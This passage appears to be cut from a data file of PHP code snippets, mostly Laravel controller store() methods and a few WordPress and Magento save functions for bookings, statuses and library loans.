$this->get_types($data));\r\n\t\t $this->id = $wpdb->insert_id; \r\n\t\t}\r\n\t\tif( $result === false ){\r\n\t\t\t$this->errors[] = __('There was a problem saving the booking.', 'dbem'); \r\n\t\t}\r\n\t\t\r\n\t\tglobal $current_booking_id ; \r\n\t\t$current_booking_id = $this->id ;\r\n\t\t\r\n\t\t//Give feedback on result\r\n\t\tif( count($this->errors) == 0 ){\r\n\t\t\t//Success\r\n\t\t\t$this->feedback_message = __('Your booking has been recorded','dbem');\r\n\t\t\treturn true;\r\n\t\t}else{\r\n\t\t\treturn false;\r\n\t\t}\t\t\r\n\t\treturn true;\r\n\t}", "public function store()\n\t{\n\t\t$validator = Validator::make($data = Input::all(), Booking::$rules, Booking::$messages);\n\n\t\tif ($validator->fails())\n\t\t{\n\t\t\treturn Redirect::back()->withErrors($validator)->withInput();\n\t\t}\n\n\t\t$client = Client::findOrFail(Input::get('client_id'));\n\t\t$car = Car::findOrFail(Input::get('car_id'));\n\n\t\t$booking = new Booking;\n\n\t\t$booking->client()->associate($client);\n\t\t$booking->car()->associate($car);\n\t\t$booking->date = date('Y-m-d');\n\t\t$booking->destination = Input::get('destination');\n\t\t/*$booking->distance = Input::get('distance');*/\n\t\t$booking->date_out = Input::get('date_out');\n\t\t$booking->date_back = Input::get('date_back');\n\t\t$booking->branch = Input::get('branch');\n\t\t$booking->status = 'active';\n\n\t\t$booking->save();\n\n\n\t\t$car->status = 'booked';\n\t\t$car->update();\n\t\treturn Redirect::route('bookings.index');\n\n\t}", "public function store(Request $request)\n {\n //\n $borrower = new Borrower;\n $borrower->user_id = Auth::user()->id;\n $borrower->book_id = $request->book_id; \n $borrower->customer_id = $request->customer_id;\n $borrower->issued_at = $request->issued_at;\n $borrower->return_at = NULL;\n $borrower->status = $request->status;\n\n if ($borrower->save()){\n $book = Book::find($request->book_id);\n if ($request->status == 'Returned'){\n $book->status = 'Available';\n } else{\n $book->status = $request->status;\n }\n \n $book->save();\n\n return redirect()->route('borrowers.index')\n ->with('success','Borrower updated successfully');\n } else{\n return redirect()->route('borrowers.edit',$borrower)\n ->withError('Whoops! Something went wrong. Record not saved, try again later.');\n }\n }", "public function store(Request $request)\n {\n $booking = new Booking();\n $booking->room_id = $request.get('room_id');\n $booking->payment_id = null;\n $booking->check_in_time = $request->get('check_in_time');\n $booking->check_out_time = $request->get('check_out_time');\n $booking->customer_id = null;\n $booking->confirmed = false;\n $booking->adult = $request->get('adult');\n $booking->children = $request->get('children');\n $booking->no_of_rooms = $request->get('no_of_rooms');\n\n $booking->save();\n\n return redirect()->action('BookingController@index')->with('status', 'Room booked successfully!');\n }", "public function store(Store $request)\n {\n $room = Room::query()->find($request->room_id);\n $user = Auth::user();\n if ($request->total_person > $room->room_capacity) {\n return redirect()->back()->with('danger', \"Total person is more than the room's capacity!\");\n } else {\n Booking::query()->create([\n 'user_id' => $user->id,\n 'room_id' => $room->id,\n 'total_person' => $request->total_person,\n 'note' => $request->note,\n 'booking_time' => $request->booking_time,\n 'check_in_time' => date_create($request->booking_time)->setTime(9, 00),\n 'check_out_time' => date_create($request->booking_time)->setTime(16, 00)\n ]);\n Mail::to($user->email)->send(new BookingDetails());\n return redirect('user/bookings')->with('message', 'Your booking has been stored successfully!');\n }\n }", "public function store()\n {\n\n try {\n\n $storeRequest = new OrderStatusStoreRequest();\n $validator = Validator::make(request()->all(), $storeRequest->rules());\n\n if ($validator->fails()) {\n\n return $this->sendBadRequest('Validation Error.', $validator->errors()->toArray());\n }\n\n $item = $this->orderStatusService->create(request()->all());\n\n return $this->sendResponse($item->toArray());\n\n } catch (Exception $exception) {\n\n return $this->sendError('Server Error.', $exception);\n\n }\n }", "public function store(BookingRequest $request)\n {\n return $this->bookingRepository->create($request->all());\n }", "public function store(SaveBookingRequest $request)\n {\n return DB::transaction(function () use ($request) {\n $request->merge([\n 'total_gross_weight' => numeric(array_sum(array_column($request->input('goods', []), 'gross_weight'))),\n 'total_weight' => numeric(array_sum(array_column($request->input('goods', []), 'weight'))),\n ]);\n $booking = Booking::create($request->input());\n\n $booking->bookingContainers()->createMany($request->input('containers', []));\n $booking->bookingGoods()->createMany($request->input('goods', []));\n\n $booking->statusHistories()->create([\n 'status' => Booking::STATUS_DRAFT,\n 'description' => 'Initial booking'\n ]);\n\n return response()->json([\n 'status' => 'success',\n 'data' => $booking,\n 'message' => __(\"Booking :number successfully created\", [\n 'number' => $booking->booking_number\n ])\n ]);\n });\n }", "public function store(Request $request)\n {\n $borrowRecord = (new BorrowRecord())->getBorrowRecordByID($request->input('borrow_record_id'));\n $borrowInformation = $borrowRecord->getAttribute('borrowInformation');\n $currentDate = new DateTime();\n $expiredDate = (new DateTime())->modify('+14 day');\n\n if (is_null($borrowInformation)) {\n $newBorrowInformation = new BorrowInformation();\n $newBorrowInformation->updateNewBorrowInformation(\n $borrowRecord->getAttribute('id'),\n $borrowRecord->getAttribute('user')->getActiveBorrowCard()->getAttribute('id'),\n $request->input('status_before'),\n $currentDate,\n $expiredDate,\n $request->input('borrow_fee'),\n $request->input('pre_paid')\n );\n } else {\n $borrowInformation->updateNewBorrowInformation(\n $borrowRecord->getAttribute('id'),\n $borrowRecord->getAttribute('user')->getActiveBorrowCard()->getAttribute('id'),\n $request->input('status_before'),\n $currentDate,\n $expiredDate,\n $request->input('borrow_fee'),\n $request->input('pre_paid')\n );\n }\n\n $borrowRecord->updateBorrowRecordStatus('lent');\n\n $borrowRecord->getAttribute('bookCopy')->updateBookCopyStatus('lent', $request->input('status_before'));\n\n Session::flash('success', 'Lent book successfully!');\n return redirect()->back();\n }", "public function store(Request $request)\n {\n // $rules = array(\n // 'name' =>'required',\n // 'room_status' =>'required',\n // 'price' =>'required',\n // );\n // $validator = Validator::make($request->all(), $rules);\n\n // if ($validator->fails()) \n // {\n // return response()->json(array('errors' => $validator->messages(), 'result' => false, 'message' => 'validation error'));\n // }\n //$currentDateTime = Carbon::now();\n if(!isset($request->id)){\n $booking = new HbAttendance([\n 'name' => $request->get('name'),\n 'room_id' => $request->get('room_id'),\n 'user_id' => $request->get('user_id'),\n 'reserved_date' =>$request->get('reserved_date'),\n 'price' => $request->get('price'),\n 'room_status' => $request->get('room_status'),\n ]);\n \n }else{\n $booking = HbAttendance::find($request->id);\n if( $request->get('attendanceStatus') != 2){\n $booking->attendance_status = $request->get('attendanceStatus');\n }else{\n $booking->valid = '0';\n }\n \n }\n $booking = $booking->save();\n return response()->json($booking);\n \n }", "public function store(Request $request)\n {\n //\n $userstatus = new User_status();\n $this->validateInput($request);\n $userstatus->status = $request['status'];\n $userstatus->save(); \n return redirect()->route('admin.userstatuses.index');\n }", "public function save()\n {\n $booking = self::create(\n $this->getPropertyRef(),\n $this->getBrandCode(),\n $this->getFromDate(),\n $this->getToDate(),\n $this->getAdults(),\n $this->getChildren(),\n $this->getInfants()\n );\n \n // Set fields which are returned by the api\n $this->setBookingId($booking->getBookingId());\n \n return $this->_setBookingData();\n }", "function save(){\r\n\t\tglobal $wpdb;\r\n\t\t$table = EM_TICKETS_BOOKINGS_TABLE;\r\n\t\tdo_action('em_ticket_booking_save_pre',$this);\r\n\t\t//First the person\r\n\t\tif($this->validate()){\t\t\t\r\n\t\t\t//Now we save the ticket\r\n\t\t\t$this->booking_id = $this->get_booking()->id; //event wouldn't exist before save, so refresh id\r\n\t\t\t$data = $this->to_array(true); //add the true to remove the nulls\r\n\t\t\tif($this->id != ''){\r\n\t\t\t\t$where = array( 'ticket_booking_id' => $this->id ); \r\n\t\t\t\t$result = $wpdb->update($table, $data, $where, $this->get_types($data));\r\n\t\t\t\t$this->feedback_message = __('Changes saved','dbem');\r\n\t\t\t}else{\r\n\t\t\t\t//TODO better error handling\r\n\t\t\t\t$result = $wpdb->insert($table, $data, $this->get_types($data));\r\n\t\t\t $this->id = $wpdb->insert_id; \r\n\t\t\t\t$this->feedback_message = __('Ticket booking created','dbem'); \r\n\t\t\t}\r\n\t\t\tif( $result === false ){\r\n\t\t\t\t$this->feedback_message = __('There was a problem saving the ticket booking.', 'dbem');\r\n\t\t\t\t$this->errors[] = __('There was a problem saving the ticket booking.', 'dbem');\r\n\t\t\t}\r\n\t\t\treturn apply_filters('em_ticket_booking_save', ( count($this->errors) == 0 ), $this);\r\n\t\t}else{\r\n\t\t\t$this->feedback_message = __('There was a problem saving the ticket booking.', 'dbem');\r\n\t\t\t$this->errors[] = __('There was a problem saving the ticket booking.', 'dbem');\r\n\t\t\treturn apply_filters('em_ticket_booking_save', false, $this);\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "public function store(Request $request)\n {\n $this->validate($request, [\n 'status' =>'required',\n \n ]);\n\n $user = new User;\n $Status = new Status();\n \n\n $values = [\n\n 'status' => $request->status,\n 'user_id' => $user->auth_user()->_id,\n 'created_at' => date(\"h:i:sa\")\n \n ];\n\n $result = $Status->insertId($values);\n\n return $result;\n }", "public function store(Request $request)\r\n {\r\n $this->validate($request, [\r\n 'name_en' => 'required',\r\n 'name_fr' => 'required',\r\n 'color' => 'required',\r\n ]);\r\n\r\n //Store status ticketing in database\r\n try{\r\n $this->ticket_repository->storeStatuses($request->all());\r\n }catch(\\Exception $e){ \r\n return flash()->error(\"Ticket status not added successfully! \");\r\n }\r\n /*$statuses = \\Cache::remember('statuses', 60, function () {\r\n return Statuses::all();\r\n });*/\r\n flash()->success(\"Ticket status added successfully!\");\r\n return redirect()->route('statuses.index');\r\n }", "public function save()\n {\n $this->persist($this->state);\n }", "public function store( Request $request ) {\n $booking = Booking::create( $request->input() );\n\n /* Make the connection between the booking and the user */\n $booking->users()->attach( $request->input( 'user_id' ) );\n\n return redirect()->route( 'bookings.index' );\n }", "public function store()\n {\n $input = Input::all();\n\n $rules = array(\n 'title' => 'required'\n );\n\n $validator = Validator::make($input, $rules);\n\n if ($validator->fails()) {\n return Redirect::route('statuses.create')\n ->withErrors($validator)\n ->withInput($input);\n } else {\n $status = $this->status->create($input);\n\n return Redirect::route('statuses.index')->with('success', [\n 'class' => 'success',\n 'text' => 'Status Created.'\n ]);\n }\n }", "public function store(Request $request)\n {\n $hname = Auth::user();\n\n $rno = Input::get('room_no');\n\n $st = Carbon::createFromFormat('d-m-Y H:i', Input::get('starttime'));\n $et = Carbon::createFromFormat('d-m-Y H:i', Input::get('endtime'));\n\n $currbooking = RoomBook::where('room_no', $rno)\n ->where('starttime', '<', $et)\n ->where('endtime', '>', $st)->get();\n\n $otherinputs = Input::except(array('_token', 'starttime', 'endtime'));\n $otherinputs['starttime'] = $st;\n $otherinputs['endtime'] = $et;\n\n $evttype = Input::get('eventtype');\n $evtconfig = Config::get('roomconfig.event_types');\n\n $otherinputs['priority'] = $evtconfig[$evttype]['priority'];\n\n if (!count($currbooking)) {\n\n $otherinputs['status'] = 'C';\n RoomBook::saveFormData($otherinputs);\n\n return redirect('home');\n } else {\n $otherinputs['status'] = 'W';\n RoomBook::saveFormData($otherinputs);\n\n return redirect('home');\n }\n\n//\t\treturn (\"room booked\");\n }", "public function store(Request $request)\n { \n //dd($request->);\n AdvanceBooking::createBooking($request->adv_id);\n removeUserHoldBooking();\n return redirect('booking')->with('message', $request->adv_id);\n }", "public function store(Request $request)\n {\n ApplicationStatus::create($request->all());\n Session::flash('message','Estado creado correctamente');\n return Redirect::to('/admin/application-status');\n }", "public function store(Request $request)\n {\n $this->authorize('create', Status::class);\n $request->validate([\n 'priority' =>'required',\n 'name' => 'required',\n 'description' => 'required'\n ]);\n $statusData = [\n 'priority' =>$request->input('priority'),\n 'name' => $request->input('name'),\n 'description' => $request->input('description'),\n ];\n Status::create($statusData);\n }", "public function store(Request $request)\n {\n $request->validate([\n 'evidention_id' => 'required',\n 'status_id' => 'required',\n ]);\n DB::beginTransaction();\n $evidentionStatus = EvidentionStatus::where('evidention_id', $request->evidention_id)->latest()->first();\n if ($request->status_id < $evidentionStatus->status_id) {\n abort(500, \"You can't switch to this status\");\n } elseif ($evidentionStatus->status_id == 6) {\n abort(500, \"This evidention is completed\");\n }\n $evidentionStatus = EvidentionStatus::add($request->status_id, $request->evidention_id, Auth::id());\n //ako se odbije snimanje, mora se povecati u contracts recordings_remaining\n if($request->status_id == 3) {\n $evidention = Evidention::find($request->evidention_id);\n $contract = Contract::find($evidention->contract_id);\n $contract->recordings_remaining = $contract->recordings_remaining + 1;\n $contract->update();\n }\n DB::commit();\n return EvidentionStatus::with('status')->where('id', $evidentionStatus->id)->first();\n }", "public function store(CreateSoldbookRequest $request)\n {\n $input = $request->all();\n\n $soldbook = $this->soldbookRepository->create($input);\n\n /*get booking id*/\n $bookings_id = $request->bookings_id;\n /*get buyer id*/\n $buyer_id = $request->buyer_id;\n /*get Form No*/\n $form_No = $request->form_No;\n //fetch an existing booking\n $getBook= Booking::find($bookings_id);\n //Clone a attribute of existing row into a new copy\n $repBook = $getBook->replicate();\n //Change the user_id of the copied booking\n $repBook->user_id = $buyer_id;\n //Change the user_id of the copied booking\n $repBook->form_no = $form_No;\n //Now create a duplicate Booking\n $repBook->save();\n\n\n /*Update the status from active to sold*/\n /*0 if the status is sold*/\n Booking::where('id', $bookings_id)->update(array('status' => 0));\n \n\n Flash::success('Soldbook saved successfully.');\n\n return redirect(route('admin.soldbooks.index'));\n }", "public function store()\n {\n try {\n\n if (!request()->isJson())\n return $this->response->unauthorized();\n\n $validate = $this->validateData(request()->all());\n\n if ($validate->fails())\n return $this->response->exception($validate->errors());\n\n $finalStatus = new FinalStatus();\n\n $finalStatus = $finalStatus->create(request()->all());\n\n return $this->response->created($finalStatus->format());\n } catch (\\Exception $exception) {\n\n return $this->response->exception($exception->getMessage());\n }\n }", "public function store(Request $request)\n {\n $validator = Validator::make($request->all(), [\n 'name' => 'required|not_regex:/[\\d]/i|unique:statuses,name|max:16|alpha'\n ]);\n if ($validator->fails()) {\n return Redirect::back()->withErrors($validator)->withInput();\n }\n $status = new Status();\n $status->fill($request->all());\n $status->save();\n return redirect()->route('statuses.index')->with('status_success', 'Status was created succesfully');\n }", "public function store(Request $request)\n {\n //\n DB::beginTransaction();\n try {\n \n $direct_booking = DirectBooking::create($request->all());\n DB::commit();\n $response = [\n 'success' => true,\n 'message' => 'Booking successfully created!!',\n 'data' => $direct_booking,\n ];\n event(new \\App\\Events\\NotifyDriverBookingEvent(auth()->user(), $direct_booking));\n return response()->json($response, 200);\n \n } catch (\\Exception $ex) {\n DB::rollback();\n $booking = DirectBooking::find(1);\n return response()->json(\n [\n 'success'=> false,\n 'error' => $ex->getMessage(),\n 'message' => 'Booking not created',\n ],\n 500);\n \n \n }\n }", "public function save($status) {\n\t\t\n\t\t$this->_loadSources();\n \t$this->_referenceStateDatasource->setReferenceState($status);\n\t\t$this->_referenceStateReasonMap->setReferenceStateReason($status);\n }", "public function store(Request $request)\n {\n //\n $validator = Validator::make($request->all(), [\n 'trip_id' => 'required',\n // 'start_location_id' => 'required',\n // 'end_location_id' => 'required',\n 'vehicle_id' => 'required',\n 'seat_id' => 'required',\n \n ]);\n\n if($validator->fails()) {\n return $this->formatInputErrorResponse($validator->errors());\n }\n\n $trip = Trip::where('id',$request->trip_id)->first();\n \n // dd($trip);\n if(!$trip){\n return $this->notFoundResponse('The selected trip does not exist');\n }\n\n $bookingData = [\n 'trip_id' => $request->trip_id,\n 'customer_name' => $request->customer_name,\n 'start_location_id' => $trip->start_location_id,\n 'end_location_id' => $trip->end_location_id,\n 'vehicle_id' => $request->vehicle_id,\n 'seat_id' => $request->seat_id,\n 'ticket_code' => $this->generateTicket(),\n ];\n\n $booking = Booking::create($bookingData);\n\n // update seat availability\n $seat = Seat::find($request->seat_id);\n $seat->status = false;\n $seat->save();\n\n return $this->formatCreatedResponse('Booking successful', $booking);\n\n }", "public function store(Request $request)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'color' => 'required',\n ]);\n\n $status = new Status();\n $status->create(['name' => $request->name, 'color' => $request->color]);\n\n Session::flash('status', trans('panichd::lang.status-name-has-been-created', ['name' => $request->name]));\n\n return redirect()->action('\\PanicHD\\PanicHD\\Controllers\\StatusesController@index');\n }", "public function store(Request $request)\n {\n $this->validate(\n request(), [\n \"title\" => \"required|unique:statuses\"\n ]\n );\n\n Status::create(request([\"title\"]));\n\n return redirect()->back();\n }", "public function store(StatusRequest $request)\n {\n $this->authorize('create', Status::class);\n\n $status = Status::create($request->validated());\n\n return new StatusResource($status);\n\n }", "public function store(Request $request)\n {\n $book = Book::find($request->book_id);\n $book->condition = 2;\n $book->save();\n $bookRecord = new BookRecord();\n $bookRecord->borrower_id = Borrower::where(\"unique_id\", $request->borrower_unique_id)\n ->get()\n ->first()\n ->id;\n $bookRecord->book_id = $request->book_id;\n $bookRecord->condition = 0;\n $bookRecord->borrowed_from_date = Carbon::now();\n $bookRecord->borrowed_to_date = Carbon::now()->add(1,'week');\n $bookRecord->actual_return_date = null;\n $bookRecord->save();\n \n }", "public function store(CreateLabelStatusRequest $request)\n {\n $input = $request->all();\n \n\n $labelStatus = $this->labelStatusRepository->create($input);\n\n Flash::success(Lang::get('validation.save_success'));\n\n return redirect(route('labelStatus.index'));\n }", "public function store(ValidateStatus $valid)\n {\n $status = CreateStatus::with($valid->request);\n event(new StatusCreated($status));\n $status = Status::where('id', $status->id)->with([\n 'mood','user'=>function($query){\n $query->with('images');\n }])\n ->withCount(['likes','comments','reshares'])\n ->first();\n //dd($status);\n return response([\"message\"=>\"Status Posted\", \"status\"=> $status], 200);\n }", "public function store()\n\t{\n $input = array_add(Input::get(), 'userId', Auth::id());\n\n $this->publishStatusForm->validate($input);\n\n $this->execute('Larabook\\Statuses\\PublishStatusCommand', $input);\n\n Flash::message('Your status has been updated.');\n return Redirect::back();\n\n\t}", "public function store(Request $request)\n {\n $status = $request->all('status');\n // validate\n // read more on validation at http://laravel.com/docs/validation\n $rules = array(\n 'status' => 'required|string|unique:iracstatus|max:50',\n );\n $validator = Validator::make(Input::all(), $rules);\n // process the login\n if ($validator->fails()) {\n return Redirect::to('iracstatus/create')\n ->withInput()\n ->withErrors($validator);\n } else {\n // store\n $iracstatus = new IracStatus();\n\n $iracstatus->status = Input::get('status');\n $iracstatus->active = 0;\n $iracstatus->approved = 0;\n $iracstatus->save();\n\n // redirect\n Session::flash('success', 'Irac Status Created Successfully !');\n return Redirect::to('iracstatus');\n }\n }", "function updatestatus() {\n global $_lib;\n\n $dataH = array();\n $dataH['ID'] = $this->transaction->ID;\n $dataH['RemittanceSequence'] = $this->transaction->RemittanceSequence;\n $dataH['RemittanceDaySequence'] = $this->transaction->RemittanceDaySequence;\n $dataH['RemittanceSendtDateTime'] = $_lib['sess']->get_session('Datetime');\n $dataH['RemittanceSendtPersonID'] = $_lib['sess']->get_person('PersonID');\n $dataH['RemittanceStatus'] = 'sent';\n \n #Disse mŒ fjernes nŒr vi har en godkjenningsprosess\n $dataH['RemittanceApprovedDateTime'] = $_lib['sess']->get_session('Datetime');\n $dataH['RemittanceApprovedPersonID'] = $_lib['sess']->get_person('PersonID');\n\n $_lib['storage']->store_record(array('data' => $dataH, 'table' => 'invoicein', 'debug' => false));\n }", "public function store(Request $request)\n {\n $availability = new Availability;\n $availability->listing_id = $listing->id;\n $availability->start_date = $request->start_date;\n $availability->end_date = $request->end_date;\n }", "public function UpdateStatusFromBookings()\n\t{\tif ($this->id)\n\t\t{\t$this->UpdateStatus(count($this->GetBookings()) >= $this->details['tqty'] ? 'sold_out' : 'in_stock');\n\t\t}\n\t}", "public function store(Request $request)\n {\n $this->validate($request, [\n 'booking_code' => 'required',\n 'order_date' => 'required',\n 'rental_date' => 'required',\n 'return_date' => 'required',\n 'price' => 'required',\n 'status' => 'required',\n 'fine' => 'required',\n 'car_id' => 'required',\n 'client_id' => 'required'\n ]);\n\n $insert = [\n 'booking_code'=> $request->booking_code,\n 'order_date'=> $request->order_date,\n 'rental_date'=> $request->rental_date,\n 'return_date'=> $request->return_date,\n 'price'=> $request->price,\n 'status'=> $request->status,\n 'fine'=> $request->fine,\n 'car_id'=> $request->car_id,\n 'client_id'=> $request->client_id\n ];\n\n $bookingCreate = Booking::create($insert);\n return redirect()->route('booking.index');\n }", "public function store(StoreBookingRequest $request)\n {\n $booking = $this->bookingRepo->createBooking($request);\n return new BookingResource($booking);\n }", "public function store(Request $request)\n {\n //\n $username=Auth::user()->email;\n\n $currentDate=Carbon::now()->toDateString();\n $myBookingStatus=BookingRoom::find($request->id);\n \n\n if ($currentDate>=$myBookingStatus->checkin){\n return response()->json(['message'=>'Sorry, Booking Request can be cancelled only 24 hours before checkin into the lodge.','success'=>false]);\n }\n\n if($myBookingStatus->payment_status=='Cancelled'){\n return response()->json(['message'=>'Booking Request has already been cancelled','success'=>false]);\n }\n\n BookingRoom::where('username',$username)->where('id',$request->id)->where('checkin','>',$currentDate)->update(['payment_status'=>'Cancelled']);\n \n //Now we just pass the data to view\n return response()->json(['message'=>'Booking Request cancelled successully','success'=>true],200);\n\n }", "protected function storeJobStatus(string $key, $status, string $format = 'data')\n {\n $stream = PortLockHelper::lockSystemPort();\n\n switch ($format) {\n case 'json':\n $status = json_encode($status, JSON_PRETTY_PRINT);\n break;\n case 'data':\n default:\n $status = serialize($status);\n }\n $filename = $this->jobDirectory . FileHelper::sanitizeFileName($key) . '.' . $format;\n file_put_contents($filename, $status);\n\n PortLockHelper::releaseSystemPort($stream);\n }", "public function store(RequestStatusRequest $request)\n {\n $requestStatus = new RequestStatus;\n $requestStatus->fill($request->all());\n $requestStatus->user_id = $this->_user->id;\n\n if ($request->default) {\n RequestStatus::clearDefaultValues();\n }\n\n if (! $requestStatus->save()) {\n return $this->responseDatabaseSaveError();\n }\n\n event(new ECreate($requestStatus));\n\n return response()->json([\n 'message' => __('app.request_status.store'),\n 'request_status' => $requestStatus,\n ]);\n }", "public function store(Requests\\CreateRoomListingRequest $request )\n {\n $search_string = json_decode($request->search_string);\n //echo $search_string->{'2015-08-19_1'};\n $rmObj = RoomDetails::where('search_string','=',$search_string->{'2015-08-19_1'})->select(DB::raw('UNCOMPRESS(room_details_serialized) as room_details_serialized' ))->first();\n\n\n // flush headers (if possible)\n //var_dump($rmObj->room_details_serialized);\n //$data = preg_replace('/!s:(\\d+):\"(.*?)\"/', \"'s:'.strlen('$2').':\\\"$2\\\";'\", $rmObj->room_details_serialized);\n //var_dump(unserialize($data));\n // die();\n $booking = new Booking();\n $gpObj = Grouphotel::where('agent_id','=',$this->groupId)->where('hotel_id','=',$request->hotel_id)->select('checkin_date','checkout_date')->first();\n\n //$booking =$booking->create($request->all());\n $booking->order_id = '0005'.time();\n $booking->hotel_id = $request->hotel_id;\n $booking->unique_cart_id = time();\n $booking->agent_id = $this->groupId;\n $checkInArr = explode('/',$gpObj->checkin_date);\n $checkOutArr = explode('/',$gpObj->checkout_date);\n $checkIn = Carbon::createFromDate($checkInArr[2],$checkInArr[1],$checkInArr[0]);\n $checkOut = Carbon::createFromDate($checkOutArr[2],$checkOutArr[1],$checkOutArr[0]);\n // echo $booking->check_in = $checkIn;\n $booking->check_out = $checkOut;\n $date1=date_create($checkIn);\n $date2=date_create($checkOut);\n $diff=date_diff($date1,$date2);\n $booking->no_of_nights = $diff->format(\"%d\");\n $booking->no_of_rooms = $request->get('no_of_rooms');\n $booking->transaction_amount = 13223;\n $booking->hotelprice = 6322;\n $booking->payment_status = 0;\n $booking->booking_status = 3;\n\n $booking->save();\n $special_request = $request->get('special_request');\n $adult_title = $request->get('adult_title');\n $adult_first_name = $request->get('adult_first_name');\n $adult_last_name = $request->get('adult_last_name');\n $kid_title = $request->get('kid_title');\n $kid_first_name = $request->get('kid_first_name');\n $kid_last_name = $request->get('kid_last_name');\n $dob = $request->get('dob');\n //var_dump($booking);die();\n //$booking->save();\n echo '>>';\n for($roomCnt=1;$roomCnt<=$booking->no_of_rooms;$roomCnt++){\n //echo $roomCnt;\n $bookingRooms = new BookingRooms();\n $bookingRooms->booking_id = $booking->id;\n $bookingRooms->order_id = $booking->order_id;\n $bookingRooms->room_config_id = $request->room_config_id;\n\n $roomConfig = RoomConfig::where('room_config_id','=',$request->room_config_id)->select('room_id','bed_id','meal_id')->first();\n // print_r($roomConfig);\n $bookingRooms->room_id = $roomConfig->room_id;\n $bookingRooms->meal_id = $roomConfig->meal_id;\n $bookingRooms->bed_id = $roomConfig->bed_id;// $request->bed_type;\n $bookingRooms->adults = $request->no_adults;\n $bookingRooms->kids = $request->no_child;\n $bookingRooms->room_amt = 0.00;\n $bookingRooms->room_no = $roomCnt;\n $bookingRooms->booking_status = $booking->booking_status;\n echo '>>'. $bookingRooms->specialPromotionId = $request->specialPromo;\n $sp_request = $special_request[$roomCnt];\n $bookingRooms->special_request = $sp_request;\n die();\n $bookingRooms->save();\n\n for($adultCnt=1;$adultCnt<=$request->no_adults;$adultCnt++){\n $bookingGuestDetails = new BookingGuestDetails();\n $bookingGuestDetails->booking_id = $booking->id;\n $bookingGuestDetails->order_id = $booking->order_id;\n $bookingGuestDetails->unique_cart_id = $request->unique_cart_id;\n $bookingGuestDetails->booking_room_id = $bookingRooms->id;\n $bookingGuestDetails->title = $adult_title[$roomCnt.'_'.$adultCnt];\n $bookingGuestDetails->fname = $adult_first_name[$roomCnt.'_'.$adultCnt];\n $bookingGuestDetails->lname = $adult_last_name[$roomCnt.'_'.$adultCnt];\n\n $bookingGuestDetails->save();\n }\n for($childCnt=1;$childCnt<=$request->no_child;$childCnt++){\n\n $bookingGuestDetails = new BookingGuestDetails();\n $bookingGuestDetails->booking_id = $booking->id;\n $bookingGuestDetails->order_id = $booking->order_id;\n $bookingGuestDetails->unique_cart_id = $request->unique_cart_id;\n $bookingGuestDetails->booking_room_id =$bookingRooms->id;\n $bookingGuestDetails->is_child = 'Y';\n $childDob = $dob[$roomCnt.'_'.$childCnt];\n $dob_arr = explode('/',$childDob);\n $childDob = $dob_arr[2].'-'.$dob_arr[1].'-'.$dob_arr[0];\n $bookingGuestDetails->child_dob = $childDob;\n\n $bookingGuestDetails->title = $kid_title[$roomCnt.'_'.$childCnt];\n $bookingGuestDetails->fname = $kid_first_name[$roomCnt.'_'.$childCnt];\n $bookingGuestDetails->lname = $kid_last_name[$roomCnt.'_'.$childCnt];\n\n $bookingGuestDetails->save();\n }\n\n\n }\n $flightDetails = new FlightDetails();\n $flightDetails->order_id = $booking->order_id;\n $flightDetails->guest_title = $adult_title['1_1'];\n $flightDetails->guest_fname = $adult_first_name['1_1'];\n $flightDetails->guest_lname = $adult_last_name['1_1'];\n $flightDetails->pickup_from = $request->pickup_from;\n $flightDetails->dropoff_to = $request->dropoff_to;\n $arriv_arr = explode('/',$request->arrival_dt);\n $arr_dt = $arriv_arr[2].'-'.$arriv_arr[1].'-'.$arriv_arr[0];\n $flightDetails->arrival_dt = $arr_dt;\n $dept_arr = explode('/',$request->departure_dt);\n $dep_dt = $dept_arr[2].'-'.$dept_arr[1].'-'.$dept_arr[0];\n $flightDetails->departure_dt = $dep_dt;\n $flightDetails->arr_flight_no = $request->arr_flight_no;\n $flightDetails->dept_flight_no = $request->dept_flight_no;\n $arrival_time = $request->arr_hr.':'.$request->arr_min;\n $departure_time = $request->dept_hr.':'.$request->dept_min;\n $flightDetails->arrival_time = $arrival_time;\n $flightDetails->departure_time = $departure_time;\n $flightDetails->save();\n\n return redirect('roomingList');\n }", "public function addStatus($status);", "public function store(BookingRequest $request)\n {\n $this->authorize('store', Booking::class);\n\n $data = $request->validated();\n\n $booking = Booking::create($data);\n\n $package = Package::where('id', $data['package_id'])->first();\n\n $package->bookings()->save($booking);\n\n return $this->respond(\n 'Booking Created Successfully',\n fractal(\n Booking::where('id', $booking->id)->first(),\n new BookingTransformer()\n )\n );\n }", "protected function _saveStatus()\n {\n try {\n\n /**\n * update task statuses with completion days\n */\n foreach( $this->_status as $key => $val ) {\n\n if ( in_array( $key, $this->_tasks ) ) {\n $task = Mage::getModel('jirafe_analytics/install')\n ->getCollection()\n ->addFieldToFilter( 'task', $key )\n ->getFirstItem();\n\n $task->setCompletedDt( $val );\n $task->save();\n }\n }\n\n /**\n * refresh status values in cache\n *\n */\n $this->_saveStatusToCache();\n\n return true;\n\n } catch (Exception $e) {\n Mage::helper('jirafe_analytics')->log('ERROR', 'Jirafe_Analytics_Model_Installer::_saveStatus()', $e->getMessage(), $e);\n return false;\n }\n }", "public function store()\n {\n $input = Request::onlyLegacy('stage');\n\n $validator = Validator::make($input, ['stage' => 'required']);\n if ($validator->fails()) {\n return ApiResponse::validation($validator);\n }\n DB::beginTransaction();\n try {\n /* inactive current stage */\n $this->inActiveCurrentStage();\n\n $newStage = $this->model->create([\n 'company_id' => $this->scope->id(),\n 'stage' => $input['stage'],\n 'active' => 1,\n ]);\n\n DB::commit();\n } catch (\\Exception $e) {\n DB::rollback();\n\n return ApiResponse::errorInternal(trans('response.error.internal'), $e);\n }\n\n return ApiResponse::success([\n 'message' => trans('response.success.saved', [\n 'attribute' => 'Job Awarded Stage'\n ]),\n 'data' => $newStage,\n ]);\n }", "public function store(CreateBillRequest $request)\n {\n $userId = $this->auth->id();\n $data = $request->all();\n\n $data['author_id'] = $userId;\n $data['unique_number'] = uniqid('PC', false);\n\n if (!empty($data['start_date'])) {\n $data['start_date'] = \\DateTime::createFromFormat('d/m/Y', $data['start_date'])->format('Y-m-d');\n }\n $this->bill->create($data);\n\n if (!empty($data['booking_id'])) {\n $booking = Booking::find($data['booking_id']);\n if ($booking) {\n $this->alterBookingStatus($booking);\n }\n }\n\n if (empty($data['booking_id'])) {\n return redirect()->route('admin.bill.bill.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('bill::bills.title.bills')]));\n }\n\n return redirect()->route('admin.booking.booking.edit', [$data['booking_id']])\n ->withSuccess(trans('core::core.messages.resource created', 